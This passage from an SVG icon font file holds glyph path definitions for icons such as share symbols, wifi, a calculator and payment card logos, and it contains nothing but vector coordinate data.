q-18 11 -58.5 12.5t-66 13t-25.5 49.5q0 26 12.5 48t37.5 22q44 0 132 -3.5t132 -3.5q43 0 129 3.5t129 3.5q25 0 37.5 -22t12.5 -48q0 -30 -17.5 -44t-40 -14.5t-51.5 -3t-44 -12.5q-35 -23 -35 -161l1 -943q0 -119 34 -140q16 -10 46 -13.5t53.5 -4.5t41.5 -15.5t18 -44.5
q0 -26 -12 -48t-36 -22z" />
    <glyph glyph-name="_448" unicode="&#xf1dd;" horiz-adv-x="1280" 
d="M1278 1347v-73q0 -29 -18.5 -61t-42.5 -32q-50 0 -54 -1q-26 -6 -32 -31q-3 -11 -3 -64v-1152q0 -25 -18 -43t-43 -18h-108q-25 0 -43 18t-18 43v1218h-143v-1218q0 -25 -17.5 -43t-43.5 -18h-108q-26 0 -43.5 18t-17.5 43v496q-147 12 -245 59q-126 58 -192 179
q-64 117 -64 259q0 166 88 286q88 118 209 159q111 37 417 37h479q25 0 43 -18t18 -43z" />
    <glyph glyph-name="_449" unicode="&#xf1de;" 
d="M352 128v-128h-352v128h352zM704 256q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM864 640v-128h-864v128h864zM224 1152v-128h-224v128h224zM1536 128v-128h-736v128h736zM576 1280q26 0 45 -19t19 -45v-256
q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM1216 768q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-256q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h256zM1536 640v-128h-224v128h224zM1536 1152v-128h-864v128h864z" />
    <glyph glyph-name="uniF1E0" unicode="&#xf1e0;" 
d="M1216 512q133 0 226.5 -93.5t93.5 -226.5t-93.5 -226.5t-226.5 -93.5t-226.5 93.5t-93.5 226.5q0 12 2 34l-360 180q-92 -86 -218 -86q-133 0 -226.5 93.5t-93.5 226.5t93.5 226.5t226.5 93.5q126 0 218 -86l360 180q-2 22 -2 34q0 133 93.5 226.5t226.5 93.5
t226.5 -93.5t93.5 -226.5t-93.5 -226.5t-226.5 -93.5q-126 0 -218 86l-360 -180q2 -22 2 -34t-2 -34l360 -180q92 86 218 86z" />
    <glyph glyph-name="_451" unicode="&#xf1e1;" 
d="M1280 341q0 88 -62.5 151t-150.5 63q-84 0 -145 -58l-241 120q2 16 2 23t-2 23l241 120q61 -58 145 -58q88 0 150.5 63t62.5 151t-62.5 150.5t-150.5 62.5t-151 -62.5t-63 -150.5q0 -7 2 -23l-241 -120q-62 57 -145 57q-88 0 -150.5 -62.5t-62.5 -150.5t62.5 -150.5
t150.5 -62.5q83 0 145 57l241 -120q-2 -16 -2 -23q0 -88 63 -150.5t151 -62.5t150.5 62.5t62.5 150.5zM1536 1120v-960q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_452" unicode="&#xf1e2;" horiz-adv-x="1792" 
d="M571 947q-10 25 -34 35t-49 0q-108 -44 -191 -127t-127 -191q-10 -25 0 -49t35 -34q13 -5 24 -5q42 0 60 40q34 84 98.5 148.5t148.5 98.5q25 11 35 35t0 49zM1513 1303l46 -46l-244 -243l68 -68q19 -19 19 -45.5t-19 -45.5l-64 -64q89 -161 89 -343q0 -143 -55.5 -273.5
t-150 -225t-225 -150t-273.5 -55.5t-273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5q182 0 343 -89l64 64q19 19 45.5 19t45.5 -19l68 -68zM1521 1359q-10 -10 -22 -10q-13 0 -23 10l-91 90q-9 10 -9 23t9 23q10 9 23 9t23 -9l90 -91
q10 -9 10 -22.5t-10 -22.5zM1751 1129q-11 -9 -23 -9t-23 9l-90 91q-10 9 -10 22.5t10 22.5q9 10 22.5 10t22.5 -10l91 -90q9 -10 9 -23t-9 -23zM1792 1312q0 -14 -9 -23t-23 -9h-96q-14 0 -23 9t-9 23t9 23t23 9h96q14 0 23 -9t9 -23zM1600 1504v-96q0 -14 -9 -23t-23 -9
t-23 9t-9 23v96q0 14 9 23t23 9t23 -9t9 -23zM1751 1449l-91 -90q-10 -10 -22 -10q-13 0 -23 10q-10 9 -10 22.5t10 22.5l90 91q10 9 23 9t23 -9q9 -10 9 -23t-9 -23z" />
    <glyph glyph-name="_453" unicode="&#xf1e3;" horiz-adv-x="1792" 
d="M609 720l287 208l287 -208l-109 -336h-355zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM1515 186q149 203 149 454v3l-102 -89l-240 224l63 323
l134 -12q-150 206 -389 282l53 -124l-287 -159l-287 159l53 124q-239 -76 -389 -282l135 12l62 -323l-240 -224l-102 89v-3q0 -251 149 -454l30 132l326 -40l139 -298l-116 -69q117 -39 240 -39t240 39l-116 69l139 298l326 40z" />
    <glyph glyph-name="_454" unicode="&#xf1e4;" horiz-adv-x="1792" 
d="M448 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM256 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM832 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23
v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM640 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM66 768q-28 0 -47 19t-19 46v129h514v-129q0 -27 -19 -46t-46 -19h-383zM1216 224v-192q0 -14 -9 -23t-23 -9h-192
q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1024 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1600 224v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23
zM1408 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 1016v-13h-514v10q0 104 -382 102q-382 -1 -382 -102v-10h-514v13q0 17 8.5 43t34 64t65.5 75.5t110.5 76t160 67.5t224 47.5t293.5 18.5t293 -18.5t224 -47.5
t160.5 -67.5t110.5 -76t65.5 -75.5t34 -64t8.5 -43zM1792 608v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 962v-129q0 -27 -19 -46t-46 -19h-384q-27 0 -46 19t-19 46v129h514z" />
    <glyph glyph-name="_455" unicode="&#xf1e5;" horiz-adv-x="1792" 
d="M704 1216v-768q0 -26 -19 -45t-45 -19v-576q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v512l249 873q7 23 31 23h424zM1024 1216v-704h-256v704h256zM1792 320v-512q0 -26 -19 -45t-45 -19h-512q-26 0 -45 19t-19 45v576q-26 0 -45 19t-19 45v768h424q24 0 31 -23z
M736 1504v-224h-352v224q0 14 9 23t23 9h288q14 0 23 -9t9 -23zM1408 1504v-224h-352v224q0 14 9 23t23 9h288q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_456" unicode="&#xf1e6;" horiz-adv-x="1792" 
d="M1755 1083q37 -38 37 -90.5t-37 -90.5l-401 -400l150 -150l-160 -160q-163 -163 -389.5 -186.5t-411.5 100.5l-362 -362h-181v181l362 362q-124 185 -100.5 411.5t186.5 389.5l160 160l150 -150l400 401q38 37 91 37t90 -37t37 -90.5t-37 -90.5l-400 -401l234 -234
l401 400q38 37 91 37t90 -37z" />
    <glyph glyph-name="_457" unicode="&#xf1e7;" horiz-adv-x="1792" 
d="M873 796q0 -83 -63.5 -142.5t-152.5 -59.5t-152.5 59.5t-63.5 142.5q0 84 63.5 143t152.5 59t152.5 -59t63.5 -143zM1375 796q0 -83 -63 -142.5t-153 -59.5q-89 0 -152.5 59.5t-63.5 142.5q0 84 63.5 143t152.5 59q90 0 153 -59t63 -143zM1600 616v667q0 87 -32 123.5
t-111 36.5h-1112q-83 0 -112.5 -34t-29.5 -126v-673q43 -23 88.5 -40t81 -28t81 -18.5t71 -11t70 -4t58.5 -0.5t56.5 2t44.5 2q68 1 95 -27q6 -6 10 -9q26 -25 61 -51q7 91 118 87q5 0 36.5 -1.5t43 -2t45.5 -1t53 1t54.5 4.5t61 8.5t62 13.5t67 19.5t67.5 27t72 34.5z
M1763 621q-121 -149 -372 -252q84 -285 -23 -465q-66 -113 -183 -148q-104 -32 -182 15q-86 51 -82 164l-1 326v1q-8 2 -24.5 6t-23.5 5l-1 -338q4 -114 -83 -164q-79 -47 -183 -15q-117 36 -182 150q-105 180 -22 463q-251 103 -372 252q-25 37 -4 63t60 -1q4 -2 11.5 -7
t10.5 -8v694q0 72 47 123t114 51h1257q67 0 114 -51t47 -123v-694l21 15q39 27 60 1t-4 -63z" />
    <glyph glyph-name="_458" unicode="&#xf1e8;" horiz-adv-x="1792" 
d="M896 1102v-434h-145v434h145zM1294 1102v-434h-145v434h145zM1294 342l253 254v795h-1194v-1049h326v-217l217 217h398zM1692 1536v-1013l-434 -434h-326l-217 -217h-217v217h-398v1158l109 289h1483z" />
    <glyph glyph-name="_459" unicode="&#xf1e9;" 
d="M773 217v-127q-1 -292 -6 -305q-12 -32 -51 -40q-54 -9 -181.5 38t-162.5 89q-13 15 -17 36q-1 12 4 26q4 10 34 47t181 216q1 0 60 70q15 19 39.5 24.5t49.5 -3.5q24 -10 37.5 -29t12.5 -42zM624 468q-3 -55 -52 -70l-120 -39q-275 -88 -292 -88q-35 2 -54 36
q-12 25 -17 75q-8 76 1 166.5t30 124.5t56 32q13 0 202 -77q71 -29 115 -47l84 -34q23 -9 35.5 -30.5t11.5 -48.5zM1450 171q-7 -54 -91.5 -161t-135.5 -127q-37 -14 -63 7q-14 10 -184 287l-47 77q-14 21 -11.5 46t19.5 46q35 43 83 26q1 -1 119 -40q203 -66 242 -79.5
t47 -20.5q28 -22 22 -61zM778 803q5 -102 -54 -122q-58 -17 -114 71l-378 598q-8 35 19 62q41 43 207.5 89.5t224.5 31.5q40 -10 49 -45q3 -18 22 -305.5t24 -379.5zM1440 695q3 -39 -26 -59q-15 -10 -329 -86q-67 -15 -91 -23l1 2q-23 -6 -46 4t-37 32q-30 47 0 87
q1 1 75 102q125 171 150 204t34 39q28 19 65 2q48 -23 123 -133.5t81 -167.5v-3z" />
    <glyph glyph-name="_460" unicode="&#xf1ea;" horiz-adv-x="2048" 
d="M1024 1024h-384v-384h384v384zM1152 384v-128h-640v128h640zM1152 1152v-640h-640v640h640zM1792 384v-128h-512v128h512zM1792 640v-128h-512v128h512zM1792 896v-128h-512v128h512zM1792 1152v-128h-512v128h512zM256 192v960h-128v-960q0 -26 19 -45t45 -19t45 19
t19 45zM1920 192v1088h-1536v-1088q0 -33 -11 -64h1483q26 0 45 19t19 45zM2048 1408v-1216q0 -80 -56 -136t-136 -56h-1664q-80 0 -136 56t-56 136v1088h256v128h1792z" />
    <glyph glyph-name="_461" unicode="&#xf1eb;" horiz-adv-x="2048" 
d="M1024 13q-20 0 -93 73.5t-73 93.5q0 32 62.5 54t103.5 22t103.5 -22t62.5 -54q0 -20 -73 -93.5t-93 -73.5zM1294 284q-2 0 -40 25t-101.5 50t-128.5 25t-128.5 -25t-101 -50t-40.5 -25q-18 0 -93.5 75t-75.5 93q0 13 10 23q78 77 196 121t233 44t233 -44t196 -121
q10 -10 10 -23q0 -18 -75.5 -93t-93.5 -75zM1567 556q-11 0 -23 8q-136 105 -252 154.5t-268 49.5q-85 0 -170.5 -22t-149 -53t-113.5 -62t-79 -53t-31 -22q-17 0 -92 75t-75 93q0 12 10 22q132 132 320 205t380 73t380 -73t320 -205q10 -10 10 -22q0 -18 -75 -93t-92 -75z
M1838 827q-11 0 -22 9q-179 157 -371.5 236.5t-420.5 79.5t-420.5 -79.5t-371.5 -236.5q-11 -9 -22 -9q-17 0 -92.5 75t-75.5 93q0 13 10 23q187 186 445 288t527 102t527 -102t445 -288q10 -10 10 -23q0 -18 -75.5 -93t-92.5 -75z" />
    <glyph glyph-name="_462" unicode="&#xf1ec;" horiz-adv-x="1792" 
d="M384 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM384 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5
t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1152 0q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5
t37.5 90.5zM384 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1152 384q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM768 768q0 53 -37.5 90.5t-90.5 37.5
t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1536 0v384q0 52 -38 90t-90 38t-90 -38t-38 -90v-384q0 -52 38 -90t90 -38t90 38t38 90zM1152 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5z
M1536 1088v256q0 26 -19 45t-45 19h-1280q-26 0 -45 -19t-19 -45v-256q0 -26 19 -45t45 -19h1280q26 0 45 19t19 45zM1536 768q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1664 1408v-1536q0 -52 -38 -90t-90 -38
h-1408q-52 0 -90 38t-38 90v1536q0 52 38 90t90 38h1408q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_463" unicode="&#xf1ed;" 
d="M1519 890q18 -84 -4 -204q-87 -444 -565 -444h-44q-25 0 -44 -16.5t-24 -42.5l-4 -19l-55 -346l-2 -15q-5 -26 -24.5 -42.5t-44.5 -16.5h-251q-21 0 -33 15t-9 36q9 56 26.5 168t26.5 168t27 167.5t27 167.5q5 37 43 37h131q133 -2 236 21q175 39 287 144q102 95 155 246
q24 70 35 133q1 6 2.5 7.5t3.5 1t6 -3.5q79 -59 98 -162zM1347 1172q0 -107 -46 -236q-80 -233 -302 -315q-113 -40 -252 -42q0 -1 -90 -1l-90 1q-100 0 -118 -96q-2 -8 -85 -530q-1 -10 -12 -10h-295q-22 0 -36.5 16.5t-11.5 38.5l232 1471q5 29 27.5 48t51.5 19h598
q34 0 97.5 -13t111.5 -32q107 -41 163.5 -123t56.5 -196z" />
    <glyph glyph-name="_464" unicode="&#xf1ee;" horiz-adv-x="1792" 
d="M441 864q33 0 52 -26q266 -364 362 -774h-446q-127 441 -367 749q-12 16 -3 33.5t29 17.5h373zM1000 507q-49 -199 -125 -393q-79 310 -256 594q40 221 44 449q211 -340 337 -650zM1099 1216q235 -324 384.5 -698.5t184.5 -773.5h-451q-41 665 -553 1472h435zM1792 640
q0 -424 -101 -812q-67 560 -359 1083q-25 301 -106 584q-4 16 5.5 28.5t25.5 12.5h359q21 0 38.5 -13t22.5 -33q115 -409 115 -850z" />
    <glyph glyph-name="uniF1F0" unicode="&#xf1f0;" horiz-adv-x="2304" 
d="M1975 546h-138q14 37 66 179l3 9q4 10 10 26t9 26l12 -55zM531 611l-58 295q-11 54 -75 54h-268l-2 -13q311 -79 403 -336zM710 960l-162 -438l-17 89q-26 70 -85 129.5t-131 88.5l135 -510h175l261 641h-176zM849 318h166l104 642h-166zM1617 944q-69 27 -149 27
q-123 0 -201 -59t-79 -153q-1 -102 145 -174q48 -23 67 -41t19 -39q0 -30 -30 -46t-69 -16q-86 0 -156 33l-22 11l-23 -144q74 -34 185 -34q130 -1 208.5 59t80.5 160q0 106 -140 174q-49 25 -71 42t-22 38q0 22 24.5 38.5t70.5 16.5q70 1 124 -24l15 -8zM2042 960h-128
q-65 0 -87 -54l-246 -588h174l35 96h212q5 -22 20 -96h154zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_466" unicode="&#xf1f1;" horiz-adv-x="2304" 
d="M1119 1195q-128 85 -281 85q-103 0 -197.5 -40.5t-162.5 -108.5t-108.5 -162t-40.5 -197q0 -104 40.5 -198t108.5 -162t162 -108.5t198 -40.5q153 0 281 85q-131 107 -178 265.5t0.5 316.5t177.5 265zM1152 1171q-126 -99 -172 -249.5t-0.5 -300.5t172.5 -249
q127 99 172.5 249t-0.5 300.5t-172 249.5zM1185 1195q130 -107 177.5 -265.5t0.5 -317t-178 -264.5q128 -85 281 -85q104 0 198 40.5t162 108.5t108.5 162t40.5 198q0 103 -40.5 197t-108.5 162t-162.5 108.5t-197.5 40.5q-153 0 -281 -85zM1926 473h7v3h-17v-3h7v-17h3v17z
M1955 456h4v20h-5l-6 -13l-6 13h-5v-20h3v15l6 -13h4l5 13v-15zM1947 16v-2h-2h-3v3h3h2v-1zM1947 7h3l-4 5h2l1 1q1 1 1 3t-1 3l-1 1h-3h-6v-13h3v5h1zM685 75q0 19 11 31t30 12q18 0 29 -12.5t11 -30.5q0 -19 -11 -31t-29 -12q-19 0 -30 12t-11 31zM1158 119q30 0 35 -32
h-70q5 32 35 32zM1514 75q0 19 11 31t29 12t29.5 -12.5t11.5 -30.5q0 -19 -11 -31t-30 -12q-18 0 -29 12t-11 31zM1786 75q0 18 11.5 30.5t29.5 12.5t29.5 -12.5t11.5 -30.5q0 -19 -11.5 -31t-29.5 -12t-29.5 12.5t-11.5 30.5zM1944 3q-2 0 -4 1q-1 0 -3 2t-2 3q-1 2 -1 4
q0 3 1 4q0 2 2 4l1 1q2 0 2 1q2 1 4 1q3 0 4 -1l4 -2l2 -4v-1q1 -2 1 -3l-1 -1v-3t-1 -1l-1 -2q-2 -2 -4 -2q-1 -1 -4 -1zM599 7h30v85q0 24 -14.5 38.5t-39.5 15.5q-32 0 -47 -24q-14 24 -45 24q-24 0 -39 -20v16h-30v-135h30v75q0 36 33 36q30 0 30 -36v-75h29v75
q0 36 33 36q30 0 30 -36v-75zM765 7h29v68v67h-29v-16q-17 20 -43 20q-29 0 -48 -20t-19 -51t19 -51t48 -20q28 0 43 20v-17zM943 48q0 34 -47 40l-14 2q-23 4 -23 14q0 15 25 15q23 0 43 -11l12 24q-22 14 -55 14q-26 0 -41 -12t-15 -32q0 -33 47 -39l13 -2q24 -4 24 -14
q0 -17 -31 -17q-25 0 -45 14l-13 -23q25 -17 58 -17q29 0 45.5 12t16.5 32zM1073 14l-8 25q-13 -7 -26 -7q-19 0 -19 22v61h48v27h-48v41h-30v-41h-28v-27h28v-61q0 -50 47 -50q21 0 36 10zM1159 146q-29 0 -48 -20t-19 -51q0 -32 19.5 -51.5t49.5 -19.5q33 0 55 19l-14 22
q-18 -15 -39 -15q-34 0 -41 33h101v12q0 32 -18 51.5t-46 19.5zM1318 146q-23 0 -35 -20v16h-30v-135h30v76q0 35 29 35q10 0 18 -4l9 28q-9 4 -21 4zM1348 75q0 -31 19.5 -51t52.5 -20q29 0 48 16l-14 24q-18 -13 -35 -12q-18 0 -29.5 12t-11.5 31t11.5 31t29.5 12
q19 0 35 -12l14 24q-20 16 -48 16q-33 0 -52.5 -20t-19.5 -51zM1593 7h30v68v67h-30v-16q-15 20 -42 20q-29 0 -48.5 -20t-19.5 -51t19.5 -51t48.5 -20q28 0 42 20v-17zM1726 146q-23 0 -35 -20v16h-29v-135h29v76q0 35 29 35q10 0 18 -4l9 28q-8 4 -21 4zM1866 7h29v68v122
h-29v-71q-15 20 -43 20t-47.5 -20.5t-19.5 -50.5t19.5 -50.5t47.5 -20.5q29 0 43 20v-17zM1944 27l-2 -1h-3q-2 -1 -4 -3q-3 -1 -3 -4q-1 -2 -1 -6q0 -3 1 -5q0 -2 3 -4q2 -2 4 -3t5 -1q4 0 6 1q0 1 2 2l2 1q1 1 3 4q1 2 1 5q0 4 -1 6q-1 1 -3 4q0 1 -2 2l-2 1q-1 0 -3 0.5
t-3 0.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_467" unicode="&#xf1f2;" horiz-adv-x="2304" 
d="M313 759q0 -51 -36 -84q-29 -26 -89 -26h-17v220h17q61 0 89 -27q36 -31 36 -83zM2089 824q0 -52 -64 -52h-19v101h20q63 0 63 -49zM380 759q0 74 -50 120.5t-129 46.5h-95v-333h95q74 0 119 38q60 51 60 128zM410 593h65v333h-65v-333zM730 694q0 40 -20.5 62t-75.5 42
q-29 10 -39.5 19t-10.5 23q0 16 13.5 26.5t34.5 10.5q29 0 53 -27l34 44q-41 37 -98 37q-44 0 -74 -27.5t-30 -67.5q0 -35 18 -55.5t64 -36.5q37 -13 45 -19q19 -12 19 -34q0 -20 -14 -33.5t-36 -13.5q-48 0 -71 44l-42 -40q44 -64 115 -64q51 0 83 30.5t32 79.5zM1008 604
v77q-37 -37 -78 -37q-49 0 -80.5 32.5t-31.5 82.5q0 48 31.5 81.5t77.5 33.5q43 0 81 -38v77q-40 20 -80 20q-74 0 -125.5 -50.5t-51.5 -123.5t51 -123.5t125 -50.5q42 0 81 19zM2240 0v527q-65 -40 -144.5 -84t-237.5 -117t-329.5 -137.5t-417.5 -134.5t-504 -118h1569
q26 0 45 19t19 45zM1389 757q0 75 -53 128t-128 53t-128 -53t-53 -128t53 -128t128 -53t128 53t53 128zM1541 584l144 342h-71l-90 -224l-89 224h-71l142 -342h35zM1714 593h184v56h-119v90h115v56h-115v74h119v57h-184v-333zM2105 593h80l-105 140q76 16 76 94q0 47 -31 73
t-87 26h-97v-333h65v133h9zM2304 1274v-1268q0 -56 -38.5 -95t-93.5 -39h-2040q-55 0 -93.5 39t-38.5 95v1268q0 56 38.5 95t93.5 39h2040q55 0 93.5 -39t38.5 -95z" />
    <glyph glyph-name="f1f3" unicode="&#xf1f3;" horiz-adv-x="2304" 
d="M119 854h89l-45 108zM740 328l74 79l-70 79h-163v-49h142v-55h-142v-54h159zM898 406l99 -110v217zM1186 453q0 33 -40 33h-84v-69h83q41 0 41 36zM1475 457q0 29 -42 29h-82v-61h81q43 0 43 32zM1197 923q0 29 -42 29h-82v-60h81q43 0 43 31zM1656 854h89l-44 108z
M699 1009v-271h-66v212l-94 -212h-57l-94 212v-212h-132l-25 60h-135l-25 -60h-70l116 271h96l110 -257v257h106l85 -184l77 184h108zM1255 453q0 -20 -5.5 -35t-14 -25t-22.5 -16.5t-26 -10t-31.5 -4.5t-31.5 -1t-32.5 0.5t-29.5 0.5v-91h-126l-80 90l-83 -90h-256v271h260
l80 -89l82 89h207q109 0 109 -89zM964 794v-56h-217v271h217v-57h-152v-49h148v-55h-148v-54h152zM2304 235v-229q0 -55 -38.5 -94.5t-93.5 -39.5h-2040q-55 0 -93.5 39.5t-38.5 94.5v678h111l25 61h55l25 -61h218v46l19 -46h113l20 47v-47h541v99l10 1q10 0 10 -14v-86h279
v23q23 -12 55 -18t52.5 -6.5t63 0.5t51.5 1l25 61h56l25 -61h227v58l34 -58h182v378h-180v-44l-25 44h-185v-44l-23 44h-249q-69 0 -109 -22v22h-172v-22q-24 22 -73 22h-628l-43 -97l-43 97h-198v-44l-22 44h-169l-78 -179v391q0 55 38.5 94.5t93.5 39.5h2040
q55 0 93.5 -39.5t38.5 -94.5v-678h-120q-51 0 -81 -22v22h-177q-55 0 -78 -22v22h-316v-22q-31 22 -87 22h-209v-22q-23 22 -91 22h-234l-54 -58l-50 58h-349v-378h343l55 59l52 -59h211v89h21q59 0 90 13v-102h174v99h8q8 0 10 -2t2 -10v-87h529q57 0 88 24v-24h168
q60 0 95 17zM1546 469q0 -23 -12 -43t-34 -29q25 -9 34 -26t9 -46v-54h-65v45q0 33 -12 43.5t-46 10.5h-69v-99h-65v271h154q48 0 77 -15t29 -58zM1269 936q0 -24 -12.5 -44t-33.5 -29q26 -9 34.5 -25.5t8.5 -46.5v-53h-65q0 9 0.5 26.5t0 25t-3 18.5t-8.5 16t-17.5 8.5
t-29.5 3.5h-70v-98h-64v271l153 -1q49 0 78 -14.5t29 -57.5zM1798 327v-56h-216v271h216v-56h-151v-49h148v-55h-148v-54zM1372 1009v-271h-66v271h66zM2065 357q0 -86 -102 -86h-126v58h126q34 0 34 25q0 16 -17 21t-41.5 5t-49.5 3.5t-42 22.5t-17 55q0 39 26 60t66 21
h130v-57h-119q-36 0 -36 -25q0 -16 17.5 -20.5t42 -4t49 -2.5t42 -21.5t17.5 -54.5zM2304 407v-101q-24 -35 -88 -35h-125v58h125q33 0 33 25q0 13 -12.5 19t-31 5.5t-40 2t-40 8t-31 24t-12.5 48.5q0 39 26.5 60t66.5 21h129v-57h-118q-36 0 -36 -25q0 -20 29 -22t68.5 -5
t56.5 -26zM2139 1008v-270h-92l-122 203v-203h-132l-26 60h-134l-25 -60h-75q-129 0 -129 133q0 138 133 138h63v-59q-7 0 -28 1t-28.5 0.5t-23 -2t-21.5 -6.5t-14.5 -13.5t-11.5 -23t-3 -33.5q0 -38 13.5 -58t49.5 -20h29l92 213h97l109 -256v256h99l114 -188v188h66z" />
    <glyph glyph-name="_469" unicode="&#xf1f4;" horiz-adv-x="2304" 
d="M745 630q0 -37 -25.5 -61.5t-62.5 -24.5q-29 0 -46.5 16t-17.5 44q0 37 25 62.5t62 25.5q28 0 46.5 -16.5t18.5 -45.5zM1530 779q0 -42 -22 -57t-66 -15l-32 -1l17 107q2 11 13 11h18q22 0 35 -2t25 -12.5t12 -30.5zM1881 630q0 -36 -25.5 -61t-61.5 -25q-29 0 -47 16
t-18 44q0 37 25 62.5t62 25.5q28 0 46.5 -16.5t18.5 -45.5zM513 801q0 59 -38.5 85.5t-100.5 26.5h-160q-19 0 -21 -19l-65 -408q-1 -6 3 -11t10 -5h76q20 0 22 19l18 110q1 8 7 13t15 6.5t17 1.5t19 -1t14 -1q86 0 135 48.5t49 134.5zM822 489l41 261q1 6 -3 11t-10 5h-76
q-14 0 -17 -33q-27 40 -95 40q-72 0 -122.5 -54t-50.5 -127q0 -59 34.5 -94t92.5 -35q28 0 58 12t48 32q-4 -12 -4 -21q0 -16 13 -16h69q19 0 22 19zM1269 752q0 5 -4 9.5t-9 4.5h-77q-11 0 -18 -10l-106 -156l-44 150q-5 16 -22 16h-75q-5 0 -9 -4.5t-4 -9.5q0 -2 19.5 -59
t42 -123t23.5 -70q-82 -112 -82 -120q0 -13 13 -13h77q11 0 18 10l255 368q2 2 2 7zM1649 801q0 59 -38.5 85.5t-100.5 26.5h-159q-20 0 -22 -19l-65 -408q-1 -6 3 -11t10 -5h82q12 0 16 13l18 116q1 8 7 13t15 6.5t17 1.5t19 -1t14 -1q86 0 135 48.5t49 134.5zM1958 489
l41 261q1 6 -3 11t-10 5h-76q-14 0 -17 -33q-26 40 -95 40q-72 0 -122.5 -54t-50.5 -127q0 -59 34.5 -94t92.5 -35q29 0 59 12t47 32q0 -1 -2 -9t-2 -12q0 -16 13 -16h69q19 0 22 19zM2176 898v1q0 14 -13 14h-74q-11 0 -13 -11l-65 -416l-1 -2q0 -5 4 -9.5t10 -4.5h66
q19 0 21 19zM392 764q-5 -35 -26 -46t-60 -11l-33 -1l17 107q2 11 13 11h19q40 0 58 -11.5t12 -48.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_470" unicode="&#xf1f5;" horiz-adv-x="2304" 
d="M1597 633q0 -69 -21 -106q-19 -35 -52 -35q-23 0 -41 9v224q29 30 57 30q57 0 57 -122zM2035 669h-110q6 98 56 98q51 0 54 -98zM476 534q0 59 -33 91.5t-101 57.5q-36 13 -52 24t-16 25q0 26 38 26q58 0 124 -33l18 112q-67 32 -149 32q-77 0 -123 -38q-48 -39 -48 -109
q0 -58 32.5 -90.5t99.5 -56.5q39 -14 54.5 -25.5t15.5 -27.5q0 -31 -48 -31q-29 0 -70 12.5t-72 30.5l-18 -113q72 -41 168 -41q81 0 129 37q51 41 51 117zM771 749l19 111h-96v135l-129 -21l-18 -114l-46 -8l-17 -103h62v-219q0 -84 44 -120q38 -30 111 -30q32 0 79 11v118
q-32 -7 -44 -7q-42 0 -42 50v197h77zM1087 724v139q-15 3 -28 3q-32 0 -55.5 -16t-33.5 -46l-10 56h-131v-471h150v306q26 31 82 31q16 0 26 -2zM1124 389h150v471h-150v-471zM1746 638q0 122 -45 179q-40 52 -111 52q-64 0 -117 -56l-8 47h-132v-645l150 25v151
